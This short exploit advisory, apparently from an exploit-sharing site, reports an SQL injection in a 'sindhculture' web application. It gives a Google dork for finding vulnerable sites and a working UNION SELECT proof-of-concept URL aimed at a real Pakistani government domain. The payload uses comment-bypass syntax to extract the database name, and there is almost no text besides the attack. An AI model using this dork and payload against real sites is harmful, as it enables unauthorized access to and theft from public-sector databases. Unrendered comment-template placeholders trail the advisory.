#Exploit Title: sindhculture - SQL Injection vulnerability #Date: 2024-07-05 #Exploit Author: Mahdi Karimi #Google Dork: "Powered by sindhculture" #Category:webapps #Tested On: Kali Linux, Firefox Proof of Concept: ### Demo : https://sindhculture.gov.pk/book.php?id=-183%27+/*!50000union*/+/*!50000select*/+1,2,3,4,5,6,/*!50000database()*/,8,9--+ ********************************************************* #Discovered by: Mahdi Karimi #Email : [email protected] *********************************************************
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |